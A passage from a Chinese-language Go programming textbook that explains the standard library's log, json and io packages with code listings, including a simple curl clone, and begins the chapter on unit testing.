NewFile(uintptr(syscall.Stdout), "/dev/stdout") Stderr = NewFile(uintptr(syscall.Stderr), "/dev/stderr") ) os/file_unix.go // NewFile 用给出的文件描述符和名字返回一个新 File func NewFile(fd uintptr, name string) *File { 在代码清单 8-18 中可以看到 3 个变量的声明,分别表示所有操作系统里都有的 3 个标准输 入/输出,即 Stdin、Stdout 和 Stderr。这 3 个变量都被声明为 File 类型的指针,这个类型 实现了 io.Writer 接口。有了这个知识,我们来看一下最后的日志记录器 Error,如代码清单 8-19 所示。 代码清单 8-19 listing11.go:第 37 行到第 39 行 37 Error = log.New(io.MultiWriter(file, os.Stderr), 38 "ERROR: ", 39 log.Ldate|log.Ltime|log.Lshortfile) 在代码清单 8-19 中可以看到 New 函数的第一个参数来自一个特殊的函数。这个特殊的函数 就是 io 包里的 MultiWriter 函数,如代码清单 8-20 所示。 代码清单 8-20 包 io 里的 MultiWriter 函数的声明 io.MultiWriter(file, os.Stderr) 代码清单 8-20 单独展示了 MultiWriter 函数的调用。这个函数调用会返回一个 io.Writer 接口类型值,这个值包含之前打开的文件 file,以及 stderr。MultiWriter 函数是一个变参函 数,可以接受任意个实现了 io.Writer 接口的值。这个函数会返回一个 io.Writer 值,这个值会 把所有传入的 io.Writer 的值绑在一起。当对这个返回值进行写入时,会向所有绑在一起的 io.Writer 值做写入。这让类似 log.New 这样的函数可以同时向多个 Writer 做输出。现在,当 我们使用 Error 记录器记录日志时,输出会同时写到文件和 stderr。 现在知道了该如何创建定制的记录器了,让我们看一下如何使用这些记录器来写日志消息, 如代码清单 8-21 所示。 代码清单 8-21 listing11.go:第 42 行到第 47 行 42 func main() { 43 Trace.Println("I have something standard to say") 44 Info.Println("Special Information") 45 Warning.Println("There is something you need to know about") 46 Error.Println("Something has failed") 47 } 代码清单 8-21 展示了代码清单 8-11 中的 main()函数。在第 43 行到第 46 行,我们用自己 创建的每个记录器写一条消息。每个记录器变量都包含一组方法,这组方法与 log 包里实现的 那组函数完全一致,如代码清单 8-22 所示。 代码清单 8-22 展示了为 Logger 类型实现的所有方法。 代码清单 8-22 不同的日志方法的声明 func (l *Logger) Fatal(v ...interface{}) func (l *Logger) Fatalf(format string, v ...interface{}) func (l *Logger) Fatalln(v ...interface{}) func (l *Logger) Flags() int func (l *Logger) Output(calldepth int, s string) error func (l *Logger) Panic(v ...interface{}) func (l *Logger) Panicf(format string, v ...interface{}) func (l *Logger) Panicln(v ...interface{}) func (l *Logger) Prefix() string func (l *Logger) Print(v ...interface{}) func (l *Logger) Printf(format string, v ...interface{}) func (l *Logger) Println(v ...interface{}) func (l *Logger) SetFlags(flag int) func (l *Logger) SetPrefix(prefix string) 8.2.3 结论 log 包的实现,是基于对记录日志这个需求长时间的实践和积累而形成的。将输出写到 stdout,将日志记录到 stderr,是很多基于命令行界面(CLI)的程序的惯常使用的方法。不 过如果你的程序只输出日志,那么使用 stdout、stderr 和文件来记录日志是很好的做法。 标准库的 log 包包含了记录日志需要的所有功能,推荐使用这个包。我们可以完全信任这 个包的实现,不仅仅是因为它是标准库的一部分,而且社区也广泛使用它。 8.3 编码/解码 许多程序都需要处理或者发布数据,不管这个程序是要使用数据库,进行网络调用,还是与 分布式系统打交道。如果程序需要处理 XML 或者 JSON,可以使用标准库里名为 xml 和 json 的包,它们可以处理这些格式的数据。如果想实现自己的数据格式的编解码,可以将这些包的实 现作为指导。 在今天,JSON 远比 XML 流行。这主要是因为与 XML 相比,使用 JSON 需要处理的标签更 少。而这就意味着网络传输时每个消息的数据更少,从而提升整个系统的性能。而且,JSON 可 以转换为 BSON(Binary JavaScript Object Notation,二进制 JavaScript 对象标记),进一步缩小每 个消息的数据长度。因此,我们会学习如何在 Go 应用程序里处理并发布 JSON。处理 XML 的方 法也很类似。 8.3.1 解码 JSON 我们要学习的处理 JSON 的第一个方面是,使用 json 包的 NewDecoder 函数以及 Decode 方法进行解码。如果要处理来自网络响应或者文件的 JSON,那么一定会用到这个函数及方法。 让我们来看一个处理 Get 请求响应的 JSON 的例子,这个例子使用 http 包获取 Google 搜索 API 返回的 JSON。代码清单 8-23 展示了这个响应的内容。 代码清单 8-23 Google 搜索 API 的 JSON 响应例子 { "responseData": { "results": [ { "GsearchResultClass": "GwebSearch", "unescapedUrl": "https://www.reddit.com/r/golang", "url": "https://www.reddit.com/r/golang", "visibleUrl": "www.reddit.com", "cacheUrl": "http://www.google.com/search?q=cache:W...", "title": "r/\u003cb\u003eGolang\u003c/b\u003e - Reddit", "titleNoFormatting": "r/Golang - Reddit", "content": "First Open Source \u003cb\u003eGolang\u..." }, { "GsearchResultClass": "GwebSearch", "unescapedUrl": "http://tour.golang.org/", "url": "http://tour.golang.org/", "visibleUrl": "tour.golang.org", "cacheUrl": "http://www.google.com/search?q=cache:O...", "title": "A Tour of Go", "titleNoFormatting": "A Tour of Go", "content": "Welcome to a tour of the Go programming ..." } ] } } 代码清单 8-24 给出的是如何获取响应并将其解码到一个结构类型里的例子。 代码清单 8-24 listing24.go 01 // 这个示例程序展示如何使用 json 包和 NewDecoder 函数 02 // 来解码 JSON 响应 03 package main 04 05 import ( 06 "encoding/json" 07 "fmt" 08 "log" 09 "net/http" 10 ) 11 12 type ( 13 // gResult 映射到从搜索拿到的结果文档 14 gResult struct { 15 GsearchResultClass string `json:"GsearchResultClass"` 16 UnescapedURL string `json:"unescapedUrl"` 17 URL string `json:"url"` 18 VisibleURL string `json:"visibleUrl"` 19 CacheURL string `json:"cacheUrl"` 20 Title string `json:"title"` 21 TitleNoFormatting string `json:"titleNoFormatting"` 22 Content string `json:"content"` 23 } 24 25 // gResponse 包含顶级的文档 26 gResponse struct { 27 ResponseData struct { 28 Results []gResult `json:"results"` 29 } `json:"responseData"` 30 } 31 ) 32 33 func main() { 34 uri := "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&rsz=8&q=golang" 35 36 // 向 Google 发起搜索 37 resp, err := http.Get(uri) 38 if err != nil { 39 log.Println("ERROR:", err) 40 return 41 } 42 defer resp.Body.Close() 43 44 // 将 JSON 响应解码到结构类型 45 var gr gResponse 46 err = json.NewDecoder(resp.Body).Decode(&gr) 47 if err != nil { 48 log.Println("ERROR:", err) 49 return 50 } 51 52 fmt.Println(gr) 53 } 代码清单 8-24 中代码的第 37 行,展示了程序做了一个 HTTP Get 调用,希望从 Google 得 到一个 JSON 文档。之后,在第 46 行使用 NewDecoder 函数和 Decode 方法 ,将响应返回的 JSON 文档解码到第 26 行声明的一个结构类型的变量里。在第 52 行,将这个变量的值写到 stdout。 如果仔细看第 26 行和第 14 行的 gResponse 和 gResult 的类型声明,你会注意到每个字 段最后使用单引号声明了一个字符串。这些字符串被称作标签(tag),是提供每个字段的元信息 的一种机制,将 JSON 文档和结构类型里的字段一一映射起来。如果不存在标签,编码和解码过 程会试图以大小写无关的方式,直接使用字段的名字进行匹配。如果无法匹配,对应的结构类型 里的字段就包含其零值。 执行 HTTP Get 调用和解码 JSON 到结构类型的具体技术细节都由标准库包办了。让我们看 一下标准库里 NewDecoder 函数和 Decode 方法的声明,如代码清单 8-25 所示。 代码清单 8-25 golang.org/src/encoding/json/stream.go // NewDecoder 返回从 r 读取的解码器 // // 解码器自己会进行缓冲,而且可能会从 r 读比解码 JSON 值 // 所需的更多的数据 func NewDecoder(r io.Reader) *Decoder // Decode 从自己的输入里读取下一个编码好的 JSON 值, // 并存入 v 所指向的值里 // // 要知道从 JSON 转换为 Go 的值的细节, // 请查看 Unmarshal 的文档 func (dec *Decoder) Decode(v interface{}) error 在代码清单 8-25 中可以看到 NewDecoder 函数接受一个实现了 io.Reader 接口类型的值 作为参数。在下一节,我们会更详细地介绍 io.Reader 和 io.Writer 接口,现在只需要知道 标准库里的许多不同类型,包括 http 包里的一些类型,都实现了这些接口就行。只要类型实现 了这些接口,就可以自动获得许多功能的支持。 函数 NewDecoder 返回一个指向 Decoder 类型的指针值。由于 Go 语言支持复合语句调用, 可以直接调用从 NewDecoder 函数返回的值的 Decode 方法,而不用把这个返回值存入变量。 在代码清单 8-25 里,可以看到 Decode 方法接受一个 interface{}类型的值做参数,并返回 一个 error 值。 在第 5 章中曾讨论过,任何类型都实现了一个空接口 interface{}。这意味着 Decode 方 法可以接受任意类型的值。使用反射,Decode 方法会拿到传入值的类型信息。然后,在读取 JSON 响应的过程中,Decode 方法会将对应的响应解码为这个类型的值。这意味着用户不需要创建对 应的值,Decode 会为用户做这件事情,如代码清单 8-26 所示。 在代码清单 8-26 中,我们 向 Decode 方法传入了指向 gResponse 类型的指针变量的地址, 而这个地址的实际值为 nil。该方法调用后,这个指针变量会被赋给一个 gResponse 类型的值, 并根据解码后的 JSON 文档做初始化。 代码清单 8-26 使用 Decode 方法 var gr *gResponse err = json.NewDecoder(resp.Body).Decode(&gr) 有时,需要处理的 JSON 文档会以 string 的形式存在。在这种情况下,需要将 string 转换 为 byte 切片([]byte),并使用 json 包的 Unmarshal 函数进行反序列化的处理,如代码清单 8-27 所示。 代码清单 8-27 listing27.go 01 // 这个示例程序展示如何解码 JSON 字符串 02 package main 03 04 import ( 05 "encoding/json" 06 "fmt" 07 "log" 08 ) 09 10 // Contact 结构代表我们的 JSON 字符串 11 type Contact struct { 12 Name string `json:"name"` 13 Title string `json:"title"` 14 Contact struct { 15 Home string `json:"home"` 16 Cell string `json:"cell"` 17 } `json:"contact"` 18 } 19 20 // JSON 包含用于反序列化的演示字符串 21 var JSON = `{ 22 "name": "Gopher", 23 "title": "programmer", 24 "contact": { 25 "home": "415.333.3333", 26 "cell": "415.555.5555" 27 } 28 }` 29 30 func main() { 31 // 将 JSON 字符串反序列化到变量 32 var c Contact 33 err := json.Unmarshal([]byte(JSON), &c) 34 if err != nil { 35 log.Println("ERROR:", err) 36 return 37 } 38 39 fmt.Println(c) 40 } 在代码清单 8-27 中,我们的例子将 JSON 文档保存在一个字符串变量里,并使用 Unmarshal 函 数将 JSON 文档解码到一个结构类型的值里。如果运行这个程序,会得到代码清单 8-28 所示的输出。 代码清单 8-28 listing27.go 的输出 {Gopher programmer {415.333.3333 415.555.5555}} 有时,无法为 JSON 的格式声明一个结构类型,而是需要更加灵活的方式来处理 JSON 文档。 在这种情况下,可以将 JSON 文档解码到一个 map 变量中,如代码清单 8-29 所示。 代码清单 8-29 listing29.go 01 // 这个示例程序展示如何解码 JSON 字符串 02 package main 03 04 import ( 05 "encoding/json" 06 "fmt" 07 "log" 08 ) 09 10 // JSON 包含要反序列化的样例字符串 11 var JSON = `{ 12 "name": "Gopher", 13 "title": "programmer", 14 "contact": { 15 "home": "415.333.3333", 16 "cell": "415.555.5555" 17 } 18 }` 19 20 func main() { 21 // 将 JSON 字符串反序列化到 map 变量 22 var c map[string]interface{} 23 err := json.Unmarshal([]byte(JSON), &c) 24 if err != nil { 25 log.Println("ERROR:", err) 26 return 27 } 28 29 fmt.Println("Name:", c["name"]) 30 fmt.Println("Title:", c["title"]) 31 fmt.Println("Contact") 32 fmt.Println("H:", c["contact"].(map[string]interface{})["home"]) 33 fmt.Println("C:", c["contact"].(map[string]interface{})["cell"]) 34 } 代码清单 8-29 中的程序修改自代码清单 8-27,将其中的结构类型变量替换为 map 类型的变 量。变量 c 声明为一个 map 类型,其键是 string 类型,其值是 interface{}类型。这意味 着这个 map 类型可以使用任意类型的值作为给定键的值。虽然这种方法为处理 JSON 文档带来 了很大的灵活性,但是却有一个小缺点。让我们看一下访问 contact 子文档的 home 字段的代 码,如代码清单 8-30 所示。 代码清单 8-30 访问解组后的映射的字段的代码 fmt.Println("\tHome:", c["contact"].(map[string]interface{})["home"]) 因为每个键的值的类型都是 interface{},所以必须将值转换为合适的类型,才能处理这 个值。代码清单 8-30 展示了如何将 contact 键的值转换为另一个键是 string 类型,值是 interface{}类型的 map 类型。这有时会使映射里包含另一个文档的 JSON 文档处理起来不那 么友好。但是,如果不需要深入正在处理的 JSON 文档,或者只打算做很少的处理,因为不需要 声明新的类型,使用 map 类型会很快。 8.3.2 编码 JSON 我们要学习的处理 JSON 的第二个方面是,使用 json 包的 MarshalIndent 函数进行编码。 这个函数可以很方便地将 Go 语言的 map 类型的值或者结构类型的值转换为易读格式的 JSON 文 档。序列化(marshal)是指将数据转换为 JSON 字符串的过程。下面是一个将 map 类型转换为 JSON 字符串的例子,如代码清单 8-31 所示。 代码清单 8-31 listing31.go 01 // 这个示例程序展示如何序列化 JSON 字符串 02 package main 03 04 import ( 05 "encoding/json" 06 "fmt" 07 "log" 08 ) 09 10 func main() { 11 // 创建一个保存键值对的映射 12 c := make(map[string]interface{}) 13 c["name"] = "Gopher" 14 c["title"] = "programmer" 15 c["contact"] = map[string]interface{}{ 16 "home": "415.333.3333", 17 "cell": "415.555.5555", 18 } 19 20 // 将这个映射序列化到 JSON 字符串 21 data, err := json.MarshalIndent(c, "", " ") 22 if err != nil { 23 log.Println("ERROR:", err) 24 return 25 } 26 27 fmt.Println(string(data)) 28 } 代码清单 8-31 展示了如何使用 json 包的 MarshalIndent 函数将一个 map 值转换为 JSON 字符串。函数 MarshalIndent 返回一个 byte 切片,用来保存 JSON 字符串和一个 error 值。 下面来看一下 json 包中 MarshalIndent 函数的声明,如代码清单 8-32 所示。 代码清单 8-32 golang.org/src/encoding/json/encode.go // MarshalIndent 很像 Marshal,只是用缩进对输出进行格式化 func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) { 在 MarshalIndent 函 数 里 再 一 次 看 到 使 用 了 空 接 口 类 型 interface{} 。 函 数 MarshalIndent 会使用反射来确定如何将 map 类型转换为 JSON 字符串。 如果不需要输出带有缩进格式的 JSON 字符串,json 包还提供了名为 Marshal 的函数来进 行解码。这个函数产生的 JSON 字符串很适合作为在网络响应(如 Web API)的数据。函数 Marshal 的工作原理和函数 MarshalIndent 一样,只不过没有用于前缀 prefix 和缩进 indent 的参数。 8.3.3 结论 在标准库里都已经提供了处理 JSON 和 XML 格式所需要的诸如解码、反序列化以及序列化 数据的功能。随着每次 Go 语言新版本的发布,这些包的执行速度也越来越快。这些包是处理 JSON 和 XML 的最佳选择。由于有反射包和标签的支持,可以很方便地声明一个结构类型,并将其中 的字段映射到需要处理和发布的文档的字段。由于 json 包和 xml 包都支持 io.Reader 和 io.Writer 接口,用户不用担心自己的 JSON 和 XML 文档源于哪里。所有的这些特性都让处 理 JSON 和 XML 变得很容易。 8.4 输入和输出 类 UNIX 的操作系统如此伟大的一个原因是,一个程序的输出可以是另一个程序的输入这一 194 第 8 章 标准库 理念。依照这个哲学,这类操作系统创建了一系列的简单程序,每个程序只做一件事,并把这件 事做得非常好。之后,将这些程序组合在一起,可以创建一些脚本做一些很惊艳的事情。这些程 序使用 stdin 和 stdout 设备作为通道,在进程之间传递数据。 同样的理念扩展到了标准库的 io 包,而且提供的功能很神奇。这个包可以以流的方式高效 处理数据,而不用考虑数据是什么,数据来自哪里,以及数据要发送到哪里的问题。与 stdout 和 stdin 对应,这个包含有 io.Writer 和 io.Reader 两个接口。所有实现了这两个接口的 类型的值,都可以使用 io 包提供的所有功能,也可以用于其他包里接受这两个接口的函数以及 方法。这是用接口类型来构造函数和 API 最美妙的地方。开发人员可以基于这些现有功能进行组 合,利用所有已经存在的实现,专注于解决业务问题。 有了这个概念,让我们先看一下 io.Wrtier 和 io.Reader 接口的声明,然后再来分析展 示了 io 包神奇功能的代码。 8.4.1 Writer 和 Reader 接口 io 包是围绕着实现了 io.Writer 和 io.Reader 接口类型的值而构建的。由于 io.Writer 和 io.Reader 提供了足够的抽象,这些 io 包里的函数和方法并不知道数据的类型,也不知道 这些数据在物理上是如何读和写的。让我们先来看一下 io.Writer接口的声明,如代码清单8-33 所示。 代码清单 8-33 io.Writer 接口的声明 type Writer interface { Write(p []byte) (n int, err error) } 代码清单 8-33 展示了 io.Writer 接口的声明。这个接口声明了唯一一个方法 Write,这 个方法接受一个 byte 切片,并返回两个值。第一个值是写入的字节数,第二个值是 error 错 误值。代码清单 8-34 给出的是实现这个方法的一些规则。 代码清单 8-34 io.Writer 接口的文档 Write 从 p 里向底层的数据流写入 len(p)字节的数据。这个方法返回从 p 里写出的字节 数(0 <= n <= len(p)),以及任何可能导致写入提前结束的错误。Write 在返回 n < len(p)的时候,必须返回某个非 nil 值的 error。Write 绝不能改写切片里的数据, 哪怕是临时修改也不行。 代码清单 8-34 中的规则来自标准库。这些规则意味着 Write 方法的实现需要试图写入被传 入的 byte 切片里的所有数据。但是,如果无法全部写入,那么该方法就一定会返回一个错误。 返回的写入字节数可能会小于 byte 切片的长度,但不会出现大于的情况。最后,不管什么情况, 都不能修改 byte 切片里的数据。 让我们看一下 Reader 接口的声明,如代码清单 8-35 所示。 代码清单 8-35 io.Reader 接口的声明 type Reader interface { Read(p []byte) (n int, err error) } 代码清单 8-35 中的 io.Reader 接口声明了一个方法 Read,这个方法接受一个 byte 切片, 并返回两个值。第一个值是读入的字节数,第二个值是 error 错误值。代码清单 8-36 给出的是 实现这个方法的一些规则。 代码清单 8-36 io.Reader 接口的文档 (1) Read 最多读入 len(p)字节,保存到 p。这个方法返回读入的字节数(0 <= n <= len(p))和任何读取时发生的错误。即便 Read 返回的 n < len(p),方法也可 能使用所有 p 的空间存储临时数据。如果数据可以读取,但是字节长度不足 len(p), 习惯上 Read 会立刻返回可用的数据,而不等待更多的数据。 (2) 当成功读取 n > 0 字节后,如果遇到错误或者文件读取完成,Read 方法会返回 读入的字节数。方法可能会在本次调用返回一个非 nil 的错误,或者在下一次调用时返 回错误(同时 n == 0)。这种情况的的一个例子是,在输入的流结束时,Read 会返回 非零的读取字节数,可能会返回 err == EOF,也可能会返回 err == nil。无论如何, 下一次调用 Read 应该返回 0, EOF。 (3) 调用者在返回的 n > 0 时,总应该先处理读入的数据,再处理错误 err。这样才 能正确操作读取一部分字节后发生的 I/O 错误。EOF 也要这样处理。 (4) Read 的实现不鼓励返回 0 个读取字节的同时,返回 nil 值的错误。调用者需要将 这种返回状态视为没有做任何操作,而不是遇到读取结束。 标准库里列出了实现 Read 方法的 4 条规则。第一条规则表明,该实现需要试图读取数据来 填满被传入的 byte 切片。允许出现读取的字节数小于 byte 切片的长度,并且如果在读取时已 经读到数据但是数据不足以填满 byte 切片时,不应该等待新数据,而是要直接返回已读数据。 第二条规则提供了应该如何处理达到文件末尾(EOF)的情况的指导。当读到最后一个字节 时,可以有两种选择。一种是 Read 返回最终读到的字节数,并且返回 EOF 作为错误值,另一 种是返回最终读到的字节数,并返回 nil 作为错误值。在后一种情况下,下一次读取的时候, 由于没有更多的数据可供读取,需要返回 0 作为读到的字节数,以及 EOF 作为错误值。 第三条规则是给调用 Read 的人的建议。任何时候 Read 返回了读取的字节数,都应该优先 处理这些读取到的字节,再去检查 EOF 错误值或者其他错误值。最终,第四条约束建议 Read 方法的实现永远不要返回 0 个读取字节的同时返回 nil 作为错误值。如果没有读到值,Read 应 该总是返回一个错误。 现在知道了 io.Writer 和 io.Reader 接口是什么样子的,以及期盼的行为是什么,让我 们看一下如何在程序里使用这些接口以及 io 包。 8.4.2 整合并完成工作 这个例子展示标准库里不同包是如何通过支持实现了io.Writer接口类型的值来一起完成 196 第 8 章 标准库 工作的。这个示例里使用了 bytes、fmt 和 os 包来进行缓冲、拼接和写字符串到 stdout,如 代码清单 8-37 所示。 代码清单 8-37 listing37.go 01 // 这个示例程序展示来自不同标准库的不同函数是如何 02 // 使用 io.Writer 接口的 03 package main 04 05 import ( 06 "bytes" 07 "fmt" 08 "os" 09 ) 10 11 // main 是应用程序的入口 12 func main() { 13 // 创建一个 Buffer 值,并将一个字符串写入 Buffer 14 // 使用实现 io.Writer 的 Write 方法 15 var b bytes.Buffer 16 b.Write([]byte("Hello ")) 17 18 // 使用 Fprintf 来将一个字符串拼接到 Buffer 里 19 // 将 bytes.Buffer 的地址作为 io.Writer 类型值传入 20 fmt.Fprintf(&b, "World!") 21 22 // 将 Buffer 的内容输出到标准输出设备 23 // 将 os.File 值的地址作为 io.Writer 类型值传入 24 b.WriteTo(os.Stdout) 25 } 运行代码清单 8-37 中的程序会得到代码清单 8-38 所示的输出。 代码清单 8-38 listing37.go 的输出 Hello World! 这个程序使用了标准库的 3 个包来将"Hello World!"输出到终端窗口。一开始,程序在 第 15 行声明了一个 bytes 包里的 Buffer 类型的变量,并使用零值初始化。在第 16 行创建了 一个 byte 切片,并用字符串"Hello"初始化了这个切片。byte 切片随后被传入 Write 方法, 成为 Buffer 类型变量里的初始内容。 第 20 行使用 fmt 包里的 Fprintf 函数将字符串"World!"追加到 Buffer 类型变量里。 让我们看一下 Fprintf 函数的声明,如代码清单 8-39 所示。 代码清单 8-39 golang.org/src/fmt/print.go // Fprintf 根据格式化说明符来格式写入内容,并输出到 w // 这个函数返回写入的字节数,以及任何遇到的错误 func Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error) 8.4 输入和输出 197 需要注意 Fprintf 函数的第一个参数。这个参数需要接收一个实现了 io.Writer 接口类 型的值。因为我们传入了之前创建的 Buffer 类型值的地址,这意味着 bytes 包里的 Buffer 类型必须实现了这个接口。那么在 bytes 包的源代码里,我们应该能找到为 Buffer 类型声明 的 Write 方法,如代码清单 8-40 所示。 代码清单 8-40 golang.org/src/bytes/buffer.go // Write 将 p 的内容追加到缓冲区,如果需要,会增大缓冲区的空间。返回值 n 是 // p 的长度,err 总是 nil。如果缓冲区变得太大,Write 会引起崩溃… func (b *Buffer) Write(p []byte) (n int, err error) { b.lastRead = opInvalid m := b.grow(len(p)) return copy(b.buf[m:], p), nil } 代码清单 8-40 展示了 Buffer 类型的 Write 方法的当前版本的实现。由于实现了这个方法, 指向 Buffer 类型的指针就满足了 io.Writer 接口,可以将指针作为第一个参数传入 Fprintf。在这个例子里,我们使用 Fprintf 函数,最终通过 Buffer 实现的 Write 方法, 将"World!"字符串追加到 Buffer 类型变量的内部缓冲区。 让我们看一下代码清单 8-37 的最后几行,如代码清单 8-41 所示,将整个 Buffer 类型变量 的内容写到 stdout。 代码清单 8-41 listing37.go:第 22 行到第 25 行 22 // 将 Buffer 的内容输出到标准输出设备 23 // 将 os.File 值的地址作为 io.Writer 类型值传入 24 b.WriteTo(os.Stdout) 25 } 在代码清单 8-37 的第 24 行,使用 WriteTo 方法将 Buffer 类型的变量的内容写到 stdout 设备。这个方法接受一个实现了 io.Writer 接口的值。在这个程序里,传入的值是 os 包的 Stdout 变量的值,如代码清单 8-42 所示。 代码清单 8-42 golang.org/src/os/file.go var ( Stdin = NewFile(uintptr(syscall.Stdin), "/dev/stdin") Stdout = NewFile(uintptr(syscall.Stdout), "/dev/stdout") Stderr = NewFile(uintptr(syscall.Stderr), "/dev/stderr") ) 这些变量自动声明为 NewFile 函数返回的类型,如代码清单 8-43 所示。 代码清单 8-43 golang.org/src/os/file_unix.go // NewFile 返回一个具有给定的文件描述符和名字的新 File func NewFile(fd uintptr, name string) *File { fdi := int(fd) 198 第 8 章 标准库 if fdi < 0 { return nil } f := &File{&file{fd: fdi, name: name}} runtime.SetFinalizer(f.file, (*file).close) return f } 就像在代码清单 8-43 里看到的那样,NewFile 函数返回一个指向 File 类型的指针。这就 是 Stdout 变量的类型。既然我们可以将这个类型的指针作为参数传入 WriteTo 方法,那么这 个类型一定实现了 io.Writer 接口。在 os 包的源代码里,我们应该能找到 Write 方法,如代 码清单 8-44 所示。 代码清单 8-44 golang.org/src/os/file.go // Write 将 len(b)个字节写入 File // 这个方法返回写入的字节数,如果有错误,也会返回错误 // 如果 n != len(b),Write 会返回一个非 nil 的错误 func (f *File) Write(b []byte) (n int, err error) { if f == nil { return 0, ErrInvalid } n, e := f.write(b) if n < 0 { n = 0 } if n != len(b) { err = io.ErrShortWrite } epipecheck(f, e) if e != nil { err = &PathError{"write", f.name, e} } return n, err } 没错,代码清单 8-44 中的代码展示了 File 类型指针实现 io.Writer 接口类型的代码。让 我们再看一下代码清单 8-37 的第 24 行,如代码清单 8-45 所示。 代码清单 8-45 listing37.go:第 22 行到第 25 行 22 // 将 Buffer 的内容输出到标准输出设备 23 // 将 os.File 值的地址作为 io.Writer 类型值传入 24 b.WriteTo(os.Stdout) 25 } 可以看到,WriteTo 方法可以将 Buffer 类型变量的内容写到 stdout,结果就是在终端 窗口上显示了"Hello World!"字符串。这个方法会通过接口值,调用 File 类型实现的 Write 方法。 这个例子展示了接口的优雅以及它带给语言的强大的能力。得益于 bytes.Buffer 和 os.File 类型都实现了 Writer 接口,我们可以使用标准库里已有的功能,将这些类型组合在 一起完成工作。接下来让我们看一个更加实用的例子。 8.4.3 简单的 curl 在 Linux 和 MacOS(曾用名 Mac OS X)系统里可以找到一个名为 curl 的命令行工具。这 个工具可以对指定的 URL 发起 HTTP 请求,并保存返回的内容。通过使用 http、io 和 os 包, 我们可以用很少的几行代码来实现一个自己的 curl 工具。 让我们来看一下实现了基础 curl 功能的例子,如代码清单 8-46 所示。 代码清单 8-46 listing46.go 01 // 这个示例程序展示如何使用 io.Reader 和 io.Writer 接口 02 // 写一个简单版本的 curl 03 package main 04 05 import ( 06 "io" 07 "log" 08 "net/http" 09 "os" 10 ) 11 12 // main 是应用程序的入口 13 func main() { 14 // 这里的 r 是一个响应,r.Body 是 io.Reader 15 r, err := http.Get(os.Args[1]) 16 if err != nil { 17 log.Fatalln(err) 18 } 19 20 // 创建文件来保存响应内容 21 file, err := os.Create(os.Args[2]) 22 if err != nil { 23 log.Fatalln(err) 24 } 25 defer file.Close() 26 27 // 使用 MultiWriter,这样就可以同时向文件和标准输出设备 28 // 进行写操作 29 dest := io.MultiWriter(os.Stdout, file) 30 31 // 读出响应的内容,并写到两个目的地 32 io.Copy(dest, r.Body) 33 if err := r.Body.Close(); err != nil { 34 log.Println(err) 35 } 36 } 200 第 8 章 标准库 代码清单 8-46 展示了一个实现了基本骨架功能的 curl,它可以下载、展示并保存任意的 HTTP Get 请求的内容。这个例子会将响应的结果同时写入文件以及 stdout。为了让例子保持 简单,这个程序没有检查命令行输入参数的有效性,也没有支持更高级的选项。 在这个程序的第 15 行,使用来自命令行的第一个参数来执行 HTTP Get 请求。如果这个参 数是一个 URL,而且请求没有发生错误,变量 r 里就包含了该请求的响应结果。在第 21 行,我 们使用命令行的第二个参数打开了一个文件。如果这个文件打开成功,那么在第 25 行会使用 defer 语句安排在函数退出时执行文件的关闭操作。 因为我们希望同时向 stdout 和指定的文件里写请求的内容,所以在第 29 行我们使用 io 包里的 MultiWriter 函数将文件和 stdout 整合为一个 io.Writer 值。在第 33 行,我们使 用 io 包的 Copy 函数从响应的结果里读取内容,并写入两个目的地。由于有 MultiWriter 函 数提供的值的支持,我们可使用一次 Copy 调用,将内容同时写到两个目的地。 利用 io 包里已经提供的支持,以及 http 和 os 包里已经实现了 io.Writer 和 io.Reader 接口类型的实现,我们不需要编写任何代码来完成这些底层的函数,借助已经存在的功能,将注 意力集中在需要解决的问题上。如果我们自己的类型也实现了这些接口,就可以立刻支持已有的 大量功能。 8.4.4 结论 可以在 io 包里找到大量的支持不同功能的函数,这些函数都能通过实现了 io.Writer 和 io.Reader 接口类型的值进行调用。其他包,如 http 包,也使用类似的模式,将接口声明为 包的 API 的一部分,并提供对 io 包的支持。应该花时间看一下标准库中提供了些什么,以及它 是如何实现的——不仅要防止重新造轮子,还要理解 Go 语言的设计者的习惯,并将这些习惯应 用到自己的包和 API 的设计上。 8.5 小结 标准库有特殊的保证,并且被社区广泛应用。 使用标准库的包会让你的代码更易于管理,别人也会更信任你的代码。 100 余个包被合理组织,分布在 38 个类别里。 标准库里的 log 包拥有记录日志所需的一切功能。 标准库里的 xml 和 json 包让处理这两种数据格式变得很简单。 io 包支持以流的方式高效处理数据。 接口允许你的代码组合已有的功能。 阅读标准库的代码是熟悉 Go 语言习惯的好方法。 第 9 章 测试和性能 本章主要内容  编写单元测试来验证代码的正确性  使用 httptest 来模拟基于 HTTP 的请求和响应  使用示例代码来给包写文档  通过基准测试来检查性能 作为一名合格的开发者,不应该在程序开发完之后才开始写测试代码。使用 Go 语言的测试 框架,可以在开发的过程中就进行单元测试和基准测试。和 go build 命令类似,go test 命 令可以用来执行写好的测试代码,需要做的就是遵守一些规则来写测试。而且,可以将测试无缝 地集成到代码工程和持续集成系统里。 9.1 单元测试 单元测试是用来测试包或者程序的一部分代码或者一组代码的函数。测试的目的是确认目标 代码在给定的场景下,有没有按照期望工作。一个场景是正向路经测试,就是在正常执行的情况 下,保证代码不产生错误的测试。这种测试可以用来确认代码可以成功地向数据库中插入一条工 作记录。 另外一些单元测试可能会测试负向路径的场景,保证代码不仅会产生错误,而且是预期的错 误。这种场景下的测试可能是对数据库进行查询时没有找到任何结果,或者对数据库做了无效的 更新。在这两种情况下,测试都要验证确实产生了错误,且产生的是预期的错误。总之,不管如 何调用或者执行代码,所写的代码行为都是可预期的。 在 Go 语言里有几种方法写单元测试。基础测试(basic test)只使用一组参数和结果来测试 一段代码。表组测试(table test)也会测试一段代码,但是会使用多组参数和结果进行测试。也 可以使用一些方法来模仿(mock)测试代码需要使用到的外部资源,如数据库或者网络服务器。 这有助于让测试在没有所需的外部资源可用的时候,模拟这些资源的行为使测试正常进行。最后, 9 第 9 章 测试和性能 在构建自己的网络服务时,有几种方法可以在不运行服务的情况下,调用服务的功能进行测试。 9.1.1 基础单元测试 让我们看一个单元测试的例子,如代码清单 9-1 所示。 代码清单 9-1 listing01_test.go 01 // 这个示例程序展示如何写基础单元测试 02 package listing01 03 04 import ( 05 "net/http" 06 "testing" 07 ) 08 09 const checkMark = "\u2713" 10 const ballotX = "\u2717" 11 12 // TestDownload 确认 http 包的 Get 函数可以下载内容 13 func TestDownload(t *testing.T) { 14 url := "http://www.goinggo.net/feeds/posts/default?alt=rss" 15 statusCode := 200 16 17 t.Log("Given the need to test downloading content.") 18 { 19 t.Logf("\tWhen checking 